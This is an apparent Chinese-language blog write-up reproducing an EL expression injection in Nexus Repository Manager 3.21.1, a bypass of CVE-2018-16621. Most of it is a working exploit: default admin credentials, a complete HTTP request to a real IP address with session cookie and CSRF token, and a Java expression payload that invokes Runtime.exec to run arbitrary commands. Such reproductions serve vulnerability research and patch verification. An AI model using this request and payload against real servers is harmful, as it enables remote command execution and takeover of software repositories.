Nexus Repository Manager 3 是一款软件仓库,可以用来存储和分发Maven、NuGET等软件源仓库。其3.21.1及之前版本中,存在一处任意EL表达式注入漏洞,这个漏洞是CVE-2018-16621的绕过。

Nexus Repository Manager 3.21.1:

该漏洞需要访问更新角色或创建角色接口,所以我们需要使用账号密码admin:admin登录后台。

登录后台后,复制当前Cookie和CSRF Token,发送如下数据包,即可执行EL表达式:

POST /service/extdirect HTTP/1.1
Host: 188.40.189.134:8081
Content-Length: 223
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
NX-ANTI-CSRF-TOKEN:0.48990302623820003
Content-Type: application/json
Accept: */*
Origin: http://188.40.189.134:8081
Referer: http://188.40.189.134:8081/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=0.48990302623820003; NXSESSIONID=7ee66332-1aa8-485d-93a9-c620c214a1ea
Connection: close

{"action":"coreui_User","method":"update","data":[{"userId":"admin","version":"2","firstName":"admin","lastName":"User","email":"[email protected]","status":"active","roles":["nxadmin$\\B{233*233}"]}],"type":"rpc","tid":11}

使用表达式

$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')}

即可成功执行任意命令:

也可以用dnslog证明漏洞存在

大概就这些……

说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...